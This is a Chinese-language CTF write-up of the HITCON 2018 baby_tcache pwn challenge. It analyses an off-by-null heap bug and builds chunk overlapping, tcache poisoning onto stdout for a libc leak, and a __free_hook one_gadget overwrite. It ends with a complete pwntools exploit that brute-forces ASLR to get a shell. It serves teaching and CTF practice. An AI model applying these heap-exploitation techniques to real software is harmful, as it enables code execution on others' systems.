HITCON 2018 PWN baby_tcache

本文详细分析了Baby_Tcache程序中的off_by_null漏洞,并通过构造恶意输入触发chunk overlapping,最终实现了地址泄露及one_gadget攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

#本题是上一篇文章IO_FILE利用的例题,可结合上一篇文章阅读#

保护检查:

在这里插入图片描述

防护全开,以现在我掌握的知识来说只有挂fake_chunk写one_gadget和ORW了

静态分析:

main()函数:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax

  sub_AAB();
  while ( 1 )
  {
    while ( 1 )
    {
      sub_BFF();
      v3 = sub_B27();
      if ( v3 != 2 )
        break;
      free__();
    }
    if ( v3 == 3 )
      _exit(0);
    if ( v3 == 1 )
      create__();
    else
      puts("Invalid Choice");
  }
}

从结构上可以看出来大概率是道菜单题,进入这个sub_BFF()函数看一下:

int sub_BFF()
{
  puts("$$$$$$$$$$$$$$$$$$$$$$$$$$$");
  puts(&byte_FB8);
  puts("$$$$$$$$$$$$$$$$$$$$$$$$$$$");
  puts("$   1. New heap           $");
  puts("$   2. Delete heap        $ ");
  puts("$   3. Exit               $ ");
  puts("$$$$$$$$$$$$$$$$$$$$$$$$$$$");
  return printf("Your choice: ");
}

果然是道菜单题,但是发现只有创建和删除的功能,没有打印功能,但是不妨碍我们泄露,因为现在我们有了IO_FILE这个办法。由于IO_FILE的泄露利用大多与溢出挂钩,所以后面在看伪代码的时候就要注意有没有溢出漏洞的出现。

create()函数:

int create__()
{
  _QWORD *v0; // rax
  int i; // [rsp+Ch] [rbp-14h]
  _BYTE *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 size; // [rsp+18h] [rbp-8h]

  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
    {
      LODWORD(v0) = puts(":(");
      return (int)v0;
    }
    if ( !qword_202060[i] )
      break;
  }
  printf("Size:");
  size = sub_B27();
  if ( size > 0x2000 )
    exit(-2);
  v3 = malloc(size);
  if ( !v3 )
    exit(-1);
  printf("Data:");
  sub_B88(v3, (unsigned int)size);
  v3[size] = 0;                                 // off_by_null
  qword_202060[i] = v3;
  v0 = qword_2020C0;
  qword_2020C0[i] = size;
  return (int)v0;
}

前面都是正常的创建流程,没有什么特别的,主要是要看这一句代码:

v3[size] = 0;                                 // off_by_null

这是一个经典off_by_null漏洞,而且也是那种只要创建输入了内容就会触发的。off_by_null漏洞的利用现在我第一时间想到的就是chunk_overlapping,而且主要是unsortedbin中的overlapping。

还有就是要注意下面这两个偏移量:

  • qword_202060
  • qword_2020C0

根据程序逻辑可以看出来,在0x202060中存放的是malloc出来的堆块指针,在0x2020C0中存放的是对应位置堆块的data部分大小,特别是0x202060这个指针数组,是我们后面的进行利用的“路标”

free()函数:

int sub_D85()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf("Index:");
  v1 = sub_B27();
  if ( v1 > 9 )
    exit(-3);
  if ( qword_202060[v1] )
  {
    memset((void *)qword_202060[v1], 218, qword_2020C0[v1]);
    free((void *)qword_202060[v1]);
    qword_202060[v1] = 0LL;
    qword_2020C0[v1] = 0LL;
  }
  return puts(":)");
}

正常的删除流程,在释放堆块后顺便把指针数组内对应位置的指针也置空了,没有明显可见的UAF。

特别注意,这个地方有一句代码:

memset((void *)qword_202060[v1], 218, qword_2020C0[v1]);

这句代码的意思是将马上要被释放的堆块内用字符da进行填充,这堆利用产生了一定影响,因为如果直接再chunk中写东西再释放后利用的话,我们原本写的东西就会被这些字符覆盖掉。

整理思路:

静态分析中可以得到:存在off_be_null漏洞,程序本身没有输出功能。

准备的利用思路如下:

  1. 伪造prev_size位
  2. 触发chunk_overlapping
  3. 通过chunk_overlapping使某个堆块在tcache和unsortedbin中同时存在
  4. 通过unsortedbin的存取机制利用其fd指针进行末尾覆盖使其指向IO_FILE结构体
  5. 伪造IO_FILE结构内的数据完成libc、地址泄露
  6. 挂fake_chunk,写one_gadget

大概思路就是上面这样,下面来具体实现:

伪造prev_size位和overlapping:

前面说到这个程序再释放时会将堆块内的内容全部用da字符来填充,如果我们直接构造chunk空间复用来overlapping的话就会失败(亲自尝试过的😭),所以这里我们利用内存对齐的方式来完成。

怎么个利用法呢?我们都知道如果我们申请0x40的堆块,系统就会分配给我们0x50的内存,如果我们申请0x48的堆块。系统还是会给我们分配0x50的堆块,但是由于我们申请的是0x48,比上一个多出来的那8个字节就会覆盖到下一个chunk的prev_szie位,这样就避免了程序自动填充被释放堆块而造成的影响

依照以前的经验,我们完成一次unsortedbin chunk的overlapping至少需要四个chunk,一个chunk用来防止chunk与top_chunk合并。

这道题的实现方式也是这样的:

    create(0x500,"aaaa") #0
    create(0x40,"bbbb") #1
    create(0x4f8,"cccc") #2
    create(0x20,"dddd") #3

    free(0)
    free(1)

    payload1 = b'a'*0x40 + p64(0x560)
    create(0x48,payload1) #0

payload1中的p64(0x560)中的0x560就是在chunk2之前堆块的大小总和:0x510 + 0x50 = 0x560,并且当释放的chunk大于0x500大小时就不会被挂进他tcache了

之后我们只要再申请一个0x48的chunk形成空间复用即可伪造好prev_size:

在这里插入图片描述

可以看见prev_size已经设定好了,并且触发了off_by_null修改了prev_inuse位。之后释放chunk2即可触发overlapping:

在这里插入图片描述

实现代码

create(0x500,"aaaa") #0
create(0x40,"bbbb") #1
create(0x4f8,"cccc") #2
create(0x20,"dddd") #3

free(0)
free(1)

payload1 = b'a'*0x40 + p64(0x560)
create(0x48,payload1) #0

free(2)

free(0)

其中这个free(0)是要让前面被申请出来chunk1回到tcache准备后面的利用。

设计tcache中的fd指针:

前面的操作完成了overlapping并将chunk1再次挂回了tcache,这一步我们利用unsortedbin的存取机制设置设计chunk1的fd,在tcache中挂进一个以libc为基地址的fake_chunk。

我们都知道unsortedbin会将分割后的chunk的size位写进分配出去的chunk的下一个0x10的位置上,把unsortedbin 的地址写进下一个0x20的位置上。

所以这里我们就要分割走0x500的大小使unsortedbin的地址挂进chunk1的fd指针位置:

create(0x500,"yms1") #0

在这里插入图片描述

以上就是实现代码和实现结果,这样我们的tcache中就有一个可以利用的处于libc上的fake_chunk了。

覆盖末位控制IO_FILE结构体:

前面将unsortedbin的地址挂进了tcache里面,这一步我们覆盖它的末位字节使这个地址指向IO_FILE。

首先查一下stdout的IO_FILE结构体位置:
在这里插入图片描述

可以看见它的末三位是760,由于页对齐机制这三位在每一次运行中都是不变的,所以我们只要覆盖chunk1的fd指针的末三位为760就可使IO_FILE作为fake_chunk挂进tcache里面,但是我们只能两字节两字节的输入,所以我们会多出来一位,网上有些师傅的wp为了方便讲解关了地址随机化所以他们的末四位也是固定的,但是正常情况下是有地址随机化的,所以这里我们就要爆破第四个字节

这里讲一下爆破是怎么操作的:用通俗的话来讲就是不停的靠运气试,试到某一次随机化的地址第四位是我们输入的那四位(1/16的概率),在语法上就采用try - except模式来进行爆破。

这里我的操作代码是这样的:

payload2 = b'\x60\xd7'
create1(0x50,payload2) #1

构造IO_FILE内部结构:

这里关于构造怎么来的就不多赘述了,上一篇文章有讲。也就是将IO_FILE中的前面四个参数设定为我们需要的样子:

  1. 前面的flags设定为:0xFBAD1800
  2. _IO_read_ptr、_IO_read_end、_IO_read_base覆盖为0
  3. _IO_write_base的地址与 _IO_write_end的差值尽量大(尽可能泄露更多的数据)这里将它的末尾字节覆盖为\x00

这里就来看一下stdout的IO_FILE结构体里面的实际情况:

在这里插入图片描述

前面的四个参数就是我们要修改的,我的实现代码如下:

payload2 = b'\x60\xd7'
create1(0x50,payload2) #1

payload3 = p64(0xfbad1800) + p64(0)*3 + b'\x00'

create(0x40,"yms2")
create1(0x48,payload3)

io.recv(8)
libc_addr = u64(io.recv(6).ljust(8,b'\x00'))
libc_base = libc_addr - 0x3ED8B0
print(hex(libc_base))

实现效果如下:

在这里插入图片描述

这里代码中减去的0x3ED8B0是一个固定偏移,也不用特地记,拿gdb里面的数据自己算一下就能算出来。

挂fake_chunk,写one_gadget:

到这里就是常规操作了,对着0x202060偏移的数组里的数据构造同时存在于tcache两个链表里面的chunk就可以了,这里选择挂free_hook:

free(1)

payload4 = p64(libc.symbols['__free_hook'] + libc_base)
payload5 = p64(libc_base + 0x4f302)

free(2)

print(hex(libc_base))

create(0x50,payload4)

create(0x50,"yms3")
create(0x50,payload5)

free(0)

io.interactive()

EXP:

from pwn import *

context.log_level = 'debug'

io = process("./baby_tcache")
#io = 0
elf = ELF("./baby_tcache")
#elf = 0
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def create(size,content):
    io.recvuntil("Your choice: ")
    io.sendline(b'1')
    io.recvuntil("Size:")
    io.sendline(str(size))
    io.recvuntil("Data:")
    io.sendline(content)
def free(index):
    io.recvuntil("Your choice: ")
    io.sendline(b'2')
    io.recvuntil("Index:")
    io.sendline(str(index))
def create1(size,content):
    io.recvuntil("Your choice: ")
    io.sendline(b'1')
    io.recvuntil("Size:")
    io.sendline(str(size))
    io.sendafter("Data:",content)

def pwn():
    global io
    io = process("./baby_tcache")
    global elf
    elf = process("./baby_tcache")
    create(0x500,"aaaa") #0
    create(0x40,"bbbb") #1
    create(0x4f8,"cccc") #2
    create(0x20,"dddd") #3

    free(0)
    free(1)

    payload1 = b'a'*0x40 + p64(0x560)
    create(0x48,payload1) #0

    free(2)

    free(0)

    create(0x500,"yms1") #0

    payload2 = b'\x60\xd7'
    create1(0x50,payload2) #1

    payload3 = p64(0xfbad1800) + p64(0)*3 + b'\x00'

    create(0x40,"yms2")
    create1(0x48,payload3)

    io.recv(8)
    libc_addr = u64(io.recv(6).ljust(8,b'\x00'))
    libc_base = libc_addr - 0x3ED8B0
    print(hex(libc_base))

    free(1)

    payload4 = p64(libc.symbols['__free_hook'] + libc_base)
    payload5 = p64(libc_base + 0x4f302)

    free(2)

    print(hex(libc_base))

    create(0x50,payload4)

    create(0x50,"yms3")
    create(0x50,payload5)

    free(0)

    io.interactive()

if __name__ == '__main__':
    while True:
        try:
            pwn()
            break
        except:
            io.kill()
            continue

运行结果:
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值